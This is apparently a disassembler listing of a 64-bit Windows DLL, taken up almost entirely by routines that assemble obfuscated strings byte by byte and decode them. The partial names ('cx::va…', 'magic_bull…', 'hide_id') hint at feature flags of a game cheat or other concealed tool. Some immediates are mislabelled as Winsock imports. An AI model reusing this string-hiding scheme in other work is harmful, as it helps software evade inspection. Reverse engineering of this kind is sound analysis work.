inc esi
mov dword [rsp + 0x1354], esi
jmp 0x180079a10
lea rcx, [rsp + 0x3c90]
call fcn.18000ce90
mov qword [rsp + 0x2668], rax
lea r8, [0x1801d1ab8]
lea rdx, [rsp + 0x2668]
lea rcx, [rsp + 0x5920]
call fcn.1800c3430
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x14d8], xmm0
mov dword [rsp + 0x14e8], eax
mov word [rsp + 0x14ec], ax
mov byte [rsp + 0x14ee], al
mov cl, 0x63
call fcn.1800c0020
mov byte [rsp + 0x300], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0020
mov byte [rsp + 0x301], al
mov cl, 0x78
call fcn.1800c0020
mov byte [rsp + 0x302], al
mov cl, 0x3a
call fcn.1800c0020
mov byte [rsp + 0x303], al
mov cl, 0x3a
call fcn.1800c0020
mov byte [rsp + 0x304], al
mov cl, 0x76
call fcn.1800c0020
mov byte [rsp + 0x305], al
mov cl, 0x61
call fcn.1800c0020
mov byte [rsp + 0x306], al
mov cl, WSAStartup
call fcn.1800c0020
mov byte [rsp + 0x307], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0020
mov byte [rsp + 0x308], al
mov cl, 0x3a
call fcn.1800c0020
mov byte [rsp + 0x309], al
mov cl, 0x3a
call fcn.1800c0020
mov byte [rsp + 0x30a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0020
mov byte [rsp + 0x30b], al
mov cl, WSAStartup
call fcn.1800c0020
mov byte [rsp + 0x30c], al
mov cl, 0x69
call fcn.1800c0020
mov byte [rsp + 0x30d], al
mov cl, 0x67
call fcn.1800c0020
mov byte [rsp + 0x30e], al
mov cl, 0x67
call fcn.1800c0020
mov byte [rsp + 0x30f], al
mov cl, 0x65
call fcn.1800c0020
mov byte [rsp + 0x310], al
mov cl, WSAStartup
call fcn.1800c0020
mov byte [rsp + 0x311], al
mov cl, 0x5f
call fcn.1800c0020
mov byte [rsp + 0x312], al
mov cl, 0x62
call fcn.1800c0020
mov byte [rsp + 0x313], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800c0020
mov byte [rsp + 0x314], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0020
mov byte [rsp + 0x315], al
xor ecx, ecx
call fcn.1800c0020
mov byte [rsp + 0x316], al
movups xmm0, xmmword [rsp + 0x300]
movups xmmword [rsp + 0x14d8], xmm0
mov ecx, dword [rsp + 0x310]
mov dword [rsp + 0x14e8], ecx
movzx ecx, word [rsp + 0x314]
mov word [rsp + 0x14ec], cx
mov byte [rsp + 0x14ee], al
lea rax, [rsp + 0x14d8]
mov qword [rsp + 0x4d08], rax
lea rcx, [rsp + 0x3c70]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x17]
lea rcx, [rsp + 0x3c70]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1350], esi
cmp esi, 0x17
jge 0x180079c95
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x14d8]
call fcn.1800c0380
movzx ecx, byte [rax]
call fcn.1800c0020
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3c70]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1350], esi
jmp 0x180079c55
lea rcx, [rsp + 0x3c70]
call fcn.18000ce90
mov qword [rsp + 0x2660], rax
lea r8, [0x1801eae90]
lea rdx, [rsp + 0x2660]
lea rcx, [rsp + 0x5950]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1ab0], xmm0
mov qword [rsp + 0x1ac0], rax
mov dword [rsp + 0x1ac8], eax
mov byte [rsp + 0x1acc], al
mov cl, 0x63
call fcn.1800bfd20
mov byte [rsp + 0x898], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfd20
mov byte [rsp + 0x899], al
mov cl, 0x78
call fcn.1800bfd20
mov byte [rsp + 0x89a], al
mov cl, 0x3a
call fcn.1800bfd20
mov byte [rsp + 0x89b], al
mov cl, 0x3a
call fcn.1800bfd20
mov byte [rsp + 0x89c], al
mov cl, 0x76
call fcn.1800bfd20
mov byte [rsp + 0x89d], al
mov cl, 0x61
call fcn.1800bfd20
mov byte [rsp + 0x89e], al
mov cl, WSAStartup
call fcn.1800bfd20
mov byte [rsp + 0x89f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfd20
mov byte [rsp + 0x8a0], al
mov cl, 0x3a
call fcn.1800bfd20
mov byte [rsp + 0x8a1], al
mov cl, 0x3a
call fcn.1800bfd20
mov byte [rsp + 0x8a2], al
mov cl, 0x67
call fcn.1800bfd20
mov byte [rsp + 0x8a3], al
mov cl, 0x6c
call fcn.1800bfd20
mov byte [rsp + 0x8a4], al
mov cl, 0x69
call fcn.1800bfd20
mov byte [rsp + 0x8a5], al
mov cl, 0x66
call fcn.1800bfd20
mov byte [rsp + 0x8a6], al
mov cl, 0x65
call fcn.1800bfd20
mov byte [rsp + 0x8a7], al
mov cl, 0x5f
call fcn.1800bfd20
mov byte [rsp + 0x8a8], al
mov cl, 0x7a
call fcn.1800bfd20
mov byte [rsp + 0x8a9], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfd20
mov byte [rsp + 0x8aa], al
mov cl, 0x6d
call fcn.1800bfd20
mov byte [rsp + 0x8ab], al
mov cl, 0x62
call fcn.1800bfd20
mov byte [rsp + 0x8ac], al
mov cl, 0x69
call fcn.1800bfd20
mov byte [rsp + 0x8ad], al
mov cl, 0x65
call fcn.1800bfd20
mov byte [rsp + 0x8ae], al
mov cl, 0x5f
call fcn.1800bfd20
mov byte [rsp + 0x8af], al
mov cl, 0x66
call fcn.1800bfd20
mov byte [rsp + 0x8b0], al
mov cl, 0x61
call fcn.1800bfd20
mov byte [rsp + 0x8b1], al
mov cl, WSAStartup
call fcn.1800bfd20
mov byte [rsp + 0x8b2], al
mov cl, 0x6d
call fcn.1800bfd20
mov byte [rsp + 0x8b3], al
xor ecx, ecx
call fcn.1800bfd20
mov byte [rsp + 0x8b4], al
movups xmm0, xmmword [rsp + 0x898]
movups xmmword [rsp + 0x1ab0], xmm0
movsd xmm1, qword [rsp + 0x8a8]
movsd qword [rsp + 0x1ac0], xmm1
mov ecx, dword [rsp + 0x8b0]
mov dword [rsp + 0x1ac8], ecx
mov byte [rsp + 0x1acc], al
lea rax, [rsp + 0x1ab0]
mov qword [rsp + 0x4d00], rax
lea rcx, [rsp + 0x3c50]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1d]
lea rcx, [rsp + 0x3c50]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x134c], esi
cmp esi, 0x1d
jge 0x180079f30
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1ab0]
call fcn.1800c0310
movzx ecx, byte [rax]
call fcn.1800bfd20
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3c50]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x134c], esi
jmp 0x180079ef0
lea rcx, [rsp + 0x3c50]
call fcn.18000ce90
mov qword [rsp + 0x2658], rax
lea r8, [0x1801eae9e]
lea rdx, [rsp + 0x2658]
lea rcx, [rsp + 0x5980]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e90], xmm0
mov qword [rsp + 0x1ea0], rax
mov word [rsp + 0x1ea8], ax
mov cl, 0x63
call fcn.1800c0010
mov byte [rsp + 0x530], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0010
mov byte [rsp + 0x531], al
mov cl, 0x78
call fcn.1800c0010
mov byte [rsp + 0x532], al
mov cl, 0x3a
call fcn.1800c0010
mov byte [rsp + 0x533], al
mov cl, 0x3a
call fcn.1800c0010
mov byte [rsp + 0x534], al
mov cl, 0x76
call fcn.1800c0010
mov byte [rsp + 0x535], al
mov cl, 0x61
call fcn.1800c0010
mov byte [rsp + 0x536], al
mov cl, WSAStartup
call fcn.1800c0010
mov byte [rsp + 0x537], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0010
mov byte [rsp + 0x538], al
mov cl, 0x3a
call fcn.1800c0010
mov byte [rsp + 0x539], al
mov cl, 0x3a
call fcn.1800c0010
mov byte [rsp + 0x53a], al
mov cl, 0x6d
call fcn.1800c0010
mov byte [rsp + 0x53b], al
mov cl, 0x61
call fcn.1800c0010
mov byte [rsp + 0x53c], al
mov cl, 0x67
call fcn.1800c0010
mov byte [rsp + 0x53d], al
mov cl, 0x69
call fcn.1800c0010
mov byte [rsp + 0x53e], al
mov cl, 0x63
call fcn.1800c0010
mov byte [rsp + 0x53f], al
mov cl, 0x5f
call fcn.1800c0010
mov byte [rsp + 0x540], al
mov cl, 0x62
call fcn.1800c0010
mov byte [rsp + 0x541], al
mov cl, 0x75
call fcn.1800c0010
mov byte [rsp + 0x542], al
mov cl, 0x6c
call fcn.1800c0010
mov byte [rsp + 0x543], al
mov cl, 0x6c
call fcn.1800c0010
mov byte [rsp + 0x544], al
mov cl, 0x65
call fcn.1800c0010
mov byte [rsp + 0x545], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0010
mov byte [rsp + 0x546], al
mov cl, 0x5f
call fcn.1800c0010
mov byte [rsp + 0x547], al
mov cl, 0x65
call fcn.1800c0010
mov byte [rsp + 0x548], al
xor ecx, ecx
call fcn.1800c0010
mov byte [rsp + 0x549], al
movups xmm0, xmmword [rsp + 0x530]
movups xmmword [rsp + 0x1e90], xmm0
movsd xmm1, qword [rsp + 0x540]
movsd qword [rsp + 0x1ea0], xmm1
movzx eax, word [rsp + 0x548]
mov word [rsp + 0x1ea8], ax
lea rax, [rsp + 0x1e90]
mov qword [rsp + 0x4cf8], rax
lea rcx, [rsp + 0x3c30]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3c30]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1348], esi
cmp esi, 0x1a
jge 0x18007a196
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1e90]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800c0010
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3c30]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1348], esi
jmp 0x18007a156
lea rcx, [rsp + 0x3c30]
call fcn.18000ce90
mov qword [rsp + 0x2650], rax
lea r8, [0x1801eae73]
lea rdx, [rsp + 0x2650]
lea rcx, [rsp + 0x59b0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2348], xmm0
mov qword [rsp + 0x2358], rax
mov cl, 0x63
call fcn.1800c0000
mov byte [rsp + 0xac8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0000
mov byte [rsp + 0xac9], al
mov cl, 0x78
call fcn.1800c0000
mov byte [rsp + 0xaca], al
mov cl, 0x3a
call fcn.1800c0000
mov byte [rsp + 0xacb], al
mov cl, 0x3a
call fcn.1800c0000
mov byte [rsp + 0xacc], al
mov cl, 0x76
call fcn.1800c0000
mov byte [rsp + 0xacd], al
mov cl, 0x61
call fcn.1800c0000
mov byte [rsp + 0xace], al
mov cl, WSAStartup
call fcn.1800c0000
mov byte [rsp + 0xacf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0000
mov byte [rsp + 0xad0], al
mov cl, 0x3a
call fcn.1800c0000
mov byte [rsp + 0xad1], al
mov cl, 0x3a
call fcn.1800c0000
mov byte [rsp + 0xad2], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c0000
mov byte [rsp + 0xad3], al
mov cl, 0x69
call fcn.1800c0000
mov byte [rsp + 0xad4], al
mov cl, 0x6c
call fcn.1800c0000
mov byte [rsp + 0xad5], al
mov cl, 0x65
call fcn.1800c0000
mov byte [rsp + 0xad6], al
mov cl, WSAGetLastError
call fcn.1800c0000
mov byte [rsp + 0xad7], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800c0000
mov byte [rsp + 0xad8], al
mov cl, 0x5f
call fcn.1800c0000
mov byte [rsp + 0xad9], al
mov cl, 0x61
call fcn.1800c0000
mov byte [rsp + 0xada], al
mov cl, 0x69
call fcn.1800c0000
mov byte [rsp + 0xadb], al
mov cl, 0x6d
call fcn.1800c0000
mov byte [rsp + 0xadc], al
mov cl, 0x5f
call fcn.1800c0000
mov byte [rsp + 0xadd], al
mov cl, 0x65
call fcn.1800c0000
mov byte [rsp + 0xade], al
xor ecx, ecx
call fcn.1800c0000
mov byte [rsp + 0xadf], al
movups xmm0, xmmword [rsp + 0xac8]
movups xmmword [rsp + 0x2348], xmm0
movsd xmm1, qword [rsp + 0xad8]
movsd qword [rsp + 0x2358], xmm1
lea rax, [rsp + 0x2348]
mov qword [rsp + 0x4cf0], rax
lea rcx, [rsp + 0x3c10]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x18]
lea rcx, [rsp + 0x3c10]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1344], esi
cmp esi, 0x18
jge 0x18007a3c8
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2348]
call fcn.1800c0b60
movzx ecx, byte [rax]
call fcn.1800c0000
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3c10]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1344], esi
jmp 0x18007a388
lea rcx, [rsp + 0x3c10]
call fcn.18000ce90
mov qword [rsp + 0x2648], rax
lea r8, [0x1801eae7a]
lea rdx, [rsp + 0x2648]
lea rcx, [rsp + 0x59e0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1f90], xmm0
mov qword [rsp + 0x1fa0], rax
mov word [rsp + 0x1fa8], ax
mov cl, 0x63
call fcn.1800bfe10
mov byte [rsp + 0x510], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0x511], al
mov cl, 0x78
call fcn.1800bfe10
mov byte [rsp + 0x512], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x513], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x514], al
mov cl, 0x76
call fcn.1800bfe10
mov byte [rsp + 0x515], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x516], al
mov cl, WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x517], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfe10
mov byte [rsp + 0x518], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x519], al
mov cl, 0x3a
call fcn.1800bfe10
mov byte [rsp + 0x51a], al
mov cl, 0x67
call fcn.1800bfe10
mov byte [rsp + 0x51b], al
mov cl, 0x6c
call fcn.1800bfe10
mov byte [rsp + 0x51c], al
mov cl, 0x69
call fcn.1800bfe10
mov byte [rsp + 0x51d], al
mov cl, 0x66
call fcn.1800bfe10
mov byte [rsp + 0x51e], al
mov cl, 0x65
call fcn.1800bfe10
mov byte [rsp + 0x51f], al
mov cl, 0x5f
call fcn.1800bfe10
mov byte [rsp + 0x520], al
mov cl, 0x61
call fcn.1800bfe10
mov byte [rsp + 0x521], al
mov cl, WSAGetLastError
call fcn.1800bfe10
mov byte [rsp + 0x522], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0x523], al
mov cl, 0x69
call fcn.1800bfe10
mov byte [rsp + 0x524], al
mov cl, 0x5f
call fcn.1800bfe10
mov byte [rsp + 0x525], al
mov cl, 0x62
call fcn.1800bfe10
mov byte [rsp + 0x526], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfe10
mov byte [rsp + 0x527], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfe10
mov byte [rsp + 0x528], al
xor ecx, ecx
call fcn.1800bfe10
mov byte [rsp + 0x529], al
movups xmm0, xmmword [rsp + 0x510]
movups xmmword [rsp + 0x1f90], xmm0
movsd xmm1, qword [rsp + 0x520]
movsd qword [rsp + 0x1fa0], xmm1
movzx eax, word [rsp + 0x528]
mov word [rsp + 0x1fa8], ax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x4e00], rax
lea rcx, [rsp + 0x3bf0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1a]
lea rcx, [rsp + 0x3bf0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1340], esi
nop
cmp esi, 0x1a
jge 0x18007a630
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1f90]
call fcn.1800c0990
movzx ecx, byte [rax]
call fcn.1800bfe10
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3bf0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1340], esi
jmp 0x18007a5f0
lea rcx, [rsp + 0x3bf0]
call fcn.18000ce90
mov qword [rsp + 0x2640], rax
lea r8, [0x1801eae95]
lea rdx, [rsp + 0x2640]
lea rcx, [rsp + 0x5a10]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2060], xmm0
mov qword [rsp + 0x2070], rax
mov dword [rsp + 0x2078], eax
mov cl, 0x63
call fcn.1800bfff0
mov byte [rsp + 0x740], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfff0
mov byte [rsp + 0x741], al
mov cl, 0x78
call fcn.1800bfff0
mov byte [rsp + 0x742], al
mov cl, 0x3a
call fcn.1800bfff0
mov byte [rsp + 0x743], al
mov cl, 0x3a
call fcn.1800bfff0
mov byte [rsp + 0x744], al
mov cl, 0x76
call fcn.1800bfff0
mov byte [rsp + 0x745], al
mov cl, 0x61
call fcn.1800bfff0
mov byte [rsp + 0x746], al
mov cl, WSAStartup
call fcn.1800bfff0
mov byte [rsp + 0x747], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfff0
mov byte [rsp + 0x748], al
mov cl, 0x3a
call fcn.1800bfff0
mov byte [rsp + 0x749], al
mov cl, 0x3a
call fcn.1800bfff0
mov byte [rsp + 0x74a], al
mov cl, 0x63
call fcn.1800bfff0
mov byte [rsp + 0x74b], al
mov cl, 0x5f
call fcn.1800bfff0
mov byte [rsp + 0x74c], al
mov cl, WSAStartup
call fcn.1800bfff0
mov byte [rsp + 0x74d], al
mov cl, 0x65
call fcn.1800bfff0
mov byte [rsp + 0x74e], al
mov cl, 0x6d
call fcn.1800bfff0
mov byte [rsp + 0x74f], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfff0
mov byte [rsp + 0x750], al
mov cl, 0x76
call fcn.1800bfff0
mov byte [rsp + 0x751], al
mov cl, 0x65
call fcn.1800bfff0
mov byte [rsp + 0x752], al
mov cl, 0x5f
call fcn.1800bfff0
mov byte [rsp + 0x753], al
mov cl, 0x7a
call fcn.1800bfff0
mov byte [rsp + 0x754], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfff0
mov byte [rsp + 0x755], al
mov cl, 0x6d
call fcn.1800bfff0
mov byte [rsp + 0x756], al
mov cl, 0x62
call fcn.1800bfff0
mov byte [rsp + 0x757], al
mov cl, 0x69
call fcn.1800bfff0
mov byte [rsp + 0x758], al
mov cl, 0x65
call fcn.1800bfff0
mov byte [rsp + 0x759], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfff0
mov byte [rsp + 0x75a], al
xor ecx, ecx
call fcn.1800bfff0
mov byte [rsp + 0x75b], al
movups xmm0, xmmword [rsp + 0x740]
movups xmmword [rsp + 0x2060], xmm0
movsd xmm1, qword [rsp + 0x750]
movsd qword [rsp + 0x2070], xmm1
mov eax, dword [rsp + 0x758]
mov dword [rsp + 0x2078], eax
lea rax, [rsp + 0x2060]
mov qword [rsp + 0x4920], rax
lea rcx, [rsp + 0x3bd0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x1c]
lea rcx, [rsp + 0x3bd0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x133c], esi
nop
cmp esi, 0x1c
jge 0x18007a8b0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x2060]
call fcn.1800c09f0
movzx ecx, byte [rax]
call fcn.1800bfff0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3bd0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x133c], esi
jmp 0x18007a870
lea rcx, [rsp + 0x3bd0]
call fcn.18000ce90
mov qword [rsp + 0x2600], rax
lea r8, [0x1801eaeb3]
lea rdx, [rsp + 0x2600]
lea rcx, [rsp + 0x5a40]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1d60], xmm0
mov qword [rsp + 0x1d70], rax
mov byte [rsp + 0x1d78], al
mov cl, 0x63
call fcn.1800bffe0
mov byte [rsp + 0xc20], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bffe0
mov byte [rsp + 0xc21], al
mov cl, 0x78
call fcn.1800bffe0
mov byte [rsp + 0xc22], al
mov cl, 0x3a
call fcn.1800bffe0
mov byte [rsp + 0xc23], al
mov cl, 0x3a
call fcn.1800bffe0
mov byte [rsp + 0xc24], al
mov cl, 0x76
call fcn.1800bffe0
mov byte [rsp + 0xc25], al
mov cl, 0x61
call fcn.1800bffe0
mov byte [rsp + 0xc26], al
mov cl, WSAStartup
call fcn.1800bffe0
mov byte [rsp + 0xc27], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bffe0
mov byte [rsp + 0xc28], al
mov cl, 0x3a
call fcn.1800bffe0
mov byte [rsp + 0xc29], al
mov cl, 0x3a
call fcn.1800bffe0
mov byte [rsp + 0xc2a], al
mov cl, 0x67
call fcn.1800bffe0
mov byte [rsp + 0xc2b], al
mov cl, 0x6c
call fcn.1800bffe0
mov byte [rsp + 0xc2c], al
mov cl, 0x69
call fcn.1800bffe0
mov byte [rsp + 0xc2d], al
mov cl, 0x66
call fcn.1800bffe0
mov byte [rsp + 0xc2e], al
mov cl, 0x65
call fcn.1800bffe0
mov byte [rsp + 0xc2f], al
mov cl, 0x5f
call fcn.1800bffe0
mov byte [rsp + 0xc30], al
mov cl, 0x68
call fcn.1800bffe0
mov byte [rsp + 0xc31], al
mov cl, 0x69
call fcn.1800bffe0
mov byte [rsp + 0xc32], al
mov cl, 0x64
call fcn.1800bffe0
mov byte [rsp + 0xc33], al
mov cl, 0x65
call fcn.1800bffe0
mov byte [rsp + 0xc34], al
mov cl, 0x5f
call fcn.1800bffe0
mov byte [rsp + 0xc35], al
mov cl, 0x69
call fcn.1800bffe0
mov byte [rsp + 0xc36], al
mov cl, 0x64
call fcn.1800bffe0
mov byte [rsp + 0xc37], al
xor ecx, ecx
call fcn.1800bffe0
mov byte [rsp + 0xc38], al
movups xmm0, xmmword [rsp + 0xc20]
movups xmmword [rsp + 0x1d60], xmm0
movsd xmm1, qword [rsp + 0xc30]
movsd qword [rsp + 0x1d70], xmm1
mov byte [rsp + 0x1d78], al
lea rax, [rsp + 0x1d60]
mov qword [rsp + 0x4928], rax
lea rcx, [rsp + 0x3bb0]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x19]
lea rcx, [rsp + 0x3bb0]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1338], esi
nop
cmp esi, 0x19
jge 0x18007ab00
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1d60]
call fcn.1800c0360
movzx ecx, byte [rax]
call fcn.1800bffe0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3bb0]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1338], esi
jmp 0x18007aac0
lea rcx, [rsp + 0x3bb0]
call fcn.18000ce90
mov qword [rsp + 0x25f8], rax
lea r8, [0x1801eaea8]
lea rdx, [rsp + 0x25f8]
lea rcx, [rsp + 0x5a70]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x15d0], xmm0
mov word [rsp + 0x15e0], ax
mov byte [rsp + 0x15e2], al
mov cl, 0x63
call fcn.1800bff60
mov byte [rsp + 0x800], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bff60
mov byte [rsp + 0x801], al
mov cl, 0x78
call fcn.1800bff60
mov byte [rsp + 0x802], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0x803], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0x804], al
mov cl, 0x76
call fcn.1800bff60
mov byte [rsp + 0x805], al
mov cl, 0x61
call fcn.1800bff60
mov byte [rsp + 0x806], al
mov cl, WSAStartup
call fcn.1800bff60
mov byte [rsp + 0x807], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff60
mov byte [rsp + 0x808], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0x809], al
mov cl, 0x3a
call fcn.1800bff60
mov byte [rsp + 0x80a], al
mov cl, 0x62
call fcn.1800bff60
mov byte [rsp + 0x80b], al
mov cl, 0x61
call fcn.1800bff60
mov byte [rsp + 0x80c], al
mov cl, 0x67
call fcn.1800bff60
mov byte [rsp + 0x80d], al
mov cl, 0x5f
call fcn.1800bff60
mov byte [rsp + 0x80e], al
mov cl, 0x65
call fcn.1800bff60
mov byte [rsp + 0x80f], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bff60
mov byte [rsp + 0x810], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bff60
mov byte [rsp + 0x811], al
xor ecx, ecx
call fcn.1800bff60
mov byte [rsp + 0x812], al
movups xmm0, xmmword [rsp + 0x800]
movups xmmword [rsp + 0x15d0], xmm0
movzx ecx, word [rsp + 0x810]
mov word [rsp + 0x15e0], cx
mov byte [rsp + 0x15e2], al
lea rax, [rsp + 0x15d0]
mov qword [rsp + 0x4930], rax
lea rcx, [rsp + 0x3b90]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x13]
lea rcx, [rsp + 0x3b90]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1334], esi
cmp esi, 0x13
jge 0x18007acf8
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x15d0]
call fcn.1800c02f0
movzx ecx, byte [rax]
call fcn.1800bff60
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3b90]
call fcn.1800be930
mov byte [rax], bl
inc esi
mov dword [rsp + 0x1334], esi
jmp 0x18007acb8
lea rcx, [rsp + 0x3b90]
call fcn.18000ce90
mov qword [rsp + 0x25f0], rax
lea r8, [0x1801eae93]
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x5aa0]
call fcn.1800c33c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1fd0], xmm0
mov dword [rsp + 0x1fe0], eax
mov cl, 0x63
call fcn.1800bfbf0
mov byte [rsp + 0x8b8], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbf0
mov byte [rsp + 0x8b9], al
mov cl, 0x78
call fcn.1800bfbf0
mov byte [rsp + 0x8ba], al
mov cl, 0x3a
call fcn.1800bfbf0
mov byte [rsp + 0x8bb], al
mov cl, 0x3a
call fcn.1800bfbf0
mov byte [rsp + 0x8bc], al
mov cl, 0x76
call fcn.1800bfbf0
mov byte [rsp + 0x8bd], al
mov cl, 0x61
call fcn.1800bfbf0
mov byte [rsp + 0x8be], al
mov cl, WSAStartup
call fcn.1800bfbf0
mov byte [rsp + 0x8bf], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800bfbf0
mov byte [rsp + 0x8c0], al
mov cl, 0x3a
call fcn.1800bfbf0
mov byte [rsp + 0x8c1], al
mov cl, 0x3a
call fcn.1800bfbf0
mov byte [rsp + 0x8c2], al
mov cl, 0x62
call fcn.1800bfbf0
mov byte [rsp + 0x8c3], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800bfbf0
mov byte [rsp + 0x8c4], al
mov cl, 0x78
call fcn.1800bfbf0
mov byte [rsp + 0x8c5], al
mov cl, 0x5f
call fcn.1800bfbf0
mov byte [rsp + 0x8c6], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800bfbf0
mov byte [rsp + 0x8c7], al
mov cl, 0x79
call fcn.1800bfbf0
mov byte [rsp + 0x8c8], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800bfbf0
mov byte [rsp + 0x8c9], al
mov cl, 0x65
call fcn.1800bfbf0
mov byte [rsp + 0x8ca], al
xor ecx, ecx
call fcn.1800bfbf0
mov byte [rsp + 0x8cb], al
movups xmm0, xmmword [rsp + 0x8b8]
movups xmmword [rsp + 0x1fd0], xmm0
mov eax, dword [rsp + 0x8c8]
mov dword [rsp + 0x1fe0], eax
lea rax, [rsp + 0x1fd0]
mov qword [rsp + 0x4938], rax
lea rcx, [rsp + 0x3b70]
call fcn.180015e10
xor r8d, r8d
lea edx, [r8 + 0x14]
lea rcx, [rsp + 0x3b70]
call fcn.180015cd0
xor esi, esi
mov dword [rsp + 0x1330], esi
nop dword [rax]
cmp esi, 0x14
jge 0x18007aef0
movsxd rdi, esi
mov rdx, rdi
lea rcx, [rsp + 0x1fd0]
call fcn.1800c0c20
movzx ecx, byte [rax]
call fcn.1800bfbf0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x3b70]
call fcn.1800be930
